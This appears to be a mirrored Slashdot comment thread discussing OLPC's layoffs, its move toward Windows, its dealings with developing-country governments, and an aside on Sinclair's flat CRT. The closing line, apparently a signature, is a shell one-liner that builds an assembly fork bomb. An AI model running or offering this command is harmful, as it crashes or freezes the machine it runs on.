Slashdot Mirror
OLPC Downsizes Half of Its Staff, Cuts Sugar
One Laptop Per Chewbacca writes "Nicholas Negroponte, the leader of the One Laptop Per Child (OLPC) project, has announced that the organization will be laying off half of its staff, cutting salaries of the remaining employees, and ending its involvement in Sugar development. The organization has had serious problems with production and deployment and has been fragmented by ideological debates as Negroponte shifts the agenda away from software freedom and towards Windows. Ars Technica concludes: 'The OLPC project's extreme dependence on economy of scale has proven to be a fatal error. The organization was not able to secure the large bulk orders that it had originally anticipated and fell short of meeting its target $100 per unit price. The worldwide economic slowdown has made it even more difficult for OLPC to find developing countries that have cash to spare on education technology.'"
Its just a bad time overall.
I think their business plan was fundamentally flawed, and deciding to go with Windows (meaning extra cost) when they were having trouble getting down to the price point they wanted even without it was just the final nail in the coffin.
They, like many other companies these days, are using the poor economy as a convenient excuse for dumping salary, but they were likely doomed anyway.
A 200$ netbook is coming soon and it will run Ubuntu.
And yeah, 200$ not 400$ via "buy two donate one".
The Raven
That doesn't make sense. Unless the OLPC hardware and software were being made by the people in the countries buying them, they would be consumers no matter what OS was preinstalled. 99.99% of open source developers are in first world countries, so that wouldn't really tip the balance.
If the OLPC project were really serious about using open source software to help the third world, it would start hiring some of the people there to work on open source projects.
Maybe not
Normally I'd complain that you haven't read the grand parent post, I find your reply astounding. You make only reference to his ego and incompetence and then explain that ayaw as him being an academic. You made no mention of business at all. In other words, you have a hugh chip just sitting there...
SJW n. One who posts facts.
You are right. I have said since the beginning that they should sell off th OLPC at $250, and use the profits to offset the costs of machines going to third world countries. They could even have gotten rid of the special power supply for the versions sold in North America and Europe. Saved a couple of more $ per unit.
That said, I think we all owe the a debt of gratitude for showing others that there was and still is demand for a small, cheep, low power laptop.
If I were God, wouldn't I protect my churches from acts of me?
The OLPC is a noble idea, but I think Negroponte has underestimed the the will of its competitors to ensure OLPC doesn't take hold to give them a clear advantage.
Actually, very few people seem to even understand Negroponte's real idea. The OLPC had no competitors. It was an education project, not a product. It was never about selling a novel hardware device; that was just a means to an end. Unfortunately, there had never been a similar project to set a precedent, so the press and analysts could only view it in terms that they understood: the terms of the U.S. consumer technology industry. As such, it looked as if the OLPC would have to "compete" with cheapie laptops from Intel, Asus, or whomever, despite the fact that none of these later offerings really had the same goals as the OLPC. I think far more damning to the OLPC was the fact that when it shipped it couldn't actually deliver on the project's goals. When you're asking a government to spend a few million dollars on mass orders of a piece of technology, "someday this will set you free" doesn't sound half as good as "turn it on and it runs Windows."
Breakfast served all day!
I'm not so sure about that. I think the OLPC failed for political, not economic reasons. The lobbying efforts of both Microsoft and Intel did have some influence on the outcome, but more and more these days I get the feeling that the biggest reason was sheer ineptitude among the project's organisers.
Let's break these points out a little:
The OLPC pricing model was contingent on economies of scale, and the only parties with enough money to bring to the table were national governments. That logic is sound, as far as it goes. But Negroponte and co. completely ignored just how hard it is to build political will, especially where new, iconoclastic ideas are concerned.
Politicians, especially in developing countries, live from one day to the next. In many cases, their only mandate is to accumulate as much wealth as they can before their government falls, or they fall out of favour. OLPC holds no benefit for them whatsoever.
Those politicians who are competent (and who consider that governing is actually part of the job description) need to have some degree of confidence that what they're proposing isn't going to blow up in their face and leave them looking like fools. As far as I can tell, Negroponte's negotiators relied only on their own stature and authority within the geek world to reassure them. That was - how shall I say? - a little presumptuous.
One example: I have been working in the developing world for a while. In the course of it, I've developed a few very valuable contacts in certain countries in the region where I work. When I was informed that OLPC wanted to roll out in one of them, I was very enthusiastic. This particular country was perfectly suited for such a project: The population isn't too big, the current government is genuinely committed to development, and they've just come into a sizeable chunk of money from newly developed petroleum deposits.
I happened to have contacts at the very core of this particular government. It's not inconceivable that I could have arranged a few very useful conversations. So I wrote to the envoy OLPC had sent, and offered to help.
No reply.
I waited a few weeks more, and tried again. No reply.
After three separate tries, I worked the back channel and was informed by a rather embarrassed individual that the OLPC envoy thought I might cramp his style, so without even checking whether his fears were justified, he cut me cold.
In contrast to this amateurish approach, Microsoft and Intel spend a good deal of time and money building alliances within various governments. They come across as reasonable and fair, often negotiating steeply discounted licensing schemes, and bestowing a good deal of largesse while they're at it.
They're ruthless competitors, that's true, but they don't walk around with blood dripping from their fangs. When you meet with them, they're attentive, caring and sympathetic to your situation. Their job, after all, is to sell more product, and to ensure that nobody else's products look like a reasonable alternative.
Contrast that with some guy appearing from nowhere, expecting to be treated like someone important simply because the letters M-I-T follow their name, and who haven't really a clue about how to effectively navigate the corridors of power. Guess who wins?
Last point: Asus isn't competing with the OLPC. They're building a consumer device and using retail channels to deliver it. They'll sell them in numbers, I don't doubt, but the plain fact is that the devices are not nearly as appropriate for use in rural areas as the OLPC is.
In fairness to OLPC, they're victims as much of being original as anything else. But their strategy is failing because of implementation, not design.
Crumb's Corollary: Never bring a knife to a bun fight.
This is the geek way of thinking and it is fundamentally flawed.
The Linux OLPC never sold in the numbers that were predicted - never even approached the numbers that were predicted.
The third world education minister shops for the PC that promises nothing more than a smooth transition for kids who will go on the higher grades or vocational education.
That is the best chance he can give them.
OLPC could have chosen to work with Apple or Microsoft from the start. There is nothing inherently absurd about working with a strong financial partner and one which has close on to thirty years practical experience in the market you are about to enter.
OLPC tied itself to a constructivist philosophy of education that is some light years removed from the realities of a third world classroom ---
and it never missed an opportunity to re-invent the wheel.
no, what was elitist was the entire concept. money that could have been spent on teachers, reducing classroom sizes, improved school infrastructure was being asked to be diverted into gadgets for children when it has NOT been proven that putting gadgets in the hands of children in first world countries has been a magical solution at all. far from it, every attempt to add computers into classrooms in the us has been a botched failure based on fear and ignorance. millions of wasted tax payer money funding children playing oregon trail, playing ridiculous math games and such on expensive hardware. teaching children amount "guis and mice" and how to type when such skills are easily picked up by the new generation without such classes, the fears were totally unfounded. it is not a cost effective way to spend education budgets in the first world, never mind the developing world. now basically every child has access to a computer in the western world, whether at home or the library/school lab. are all these children coding genius's because this access? lol, what actually happens when you get tech into childrens hands is that it becomes a communications toy. myspace, facebook, youtube whatever. now these things are fine, but asking for developing countries governments to fund universal access to such stuff is ridiculous.
Alan Sugar would have been hilarious in this project. When he bought Sinclair they were working on a ridiculously half assed flat CRT display for a project called Pandora. Guy Kewney had a demo and said that "You put your chin on a leather chinrest and refocused your eyes and after a few seconds you could see four lines of twenty green characters floating eerily in the infinite distance". Alan Sugar attended a demonstration too, and after than Sinclair stopped mentioning the project. Kewney asked him and the converation went like this
GK: "Do you plan to use the technology in the Pandora project commercially?"
AS: "Have you seen it?"
GK: "Yes"
AS: "Well then."
Pandora was a classic Sinclairism really. LCDs were expensive so they tried to find a cheaper alternative but they didn't have the resources, or the industrialisation skills to make it work. By the time they burned through lots of funds on research, LCDs were cheaper and far outperformed their quirky bent CRT design. Mind you I bet the Japanese spent far more getting LCDs to that point.
Actually it turns out that they didn't invent the bent CRT, and weren't the only company trying to commercialise it.
http://www.thevalvepage.com/tv/sinclair/ftv1/ftv1.htm
Although Sinclair seems to get credited for the invention of the unusual C.R.T., it was in fact the brain child of Doctor D. Gabor in the mid 1950's (follow this link for a period magazine article). Yet having spent 6 years developing the set, Sinclair was actually pipped to the post by a similar sideways tube design from Sony. However the writing was on the wall for this type of C.R.T. ; in 1977, when sSinclair lauched their first pocket TV (the MTV1) Hitachi displayed a prototype television that was the first to use a new display technology, namely LCD. Then in the same year as this FTV1 model was lauched Casio (and possibly Seiko) launched the first production televisions utilising an LCD screen.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;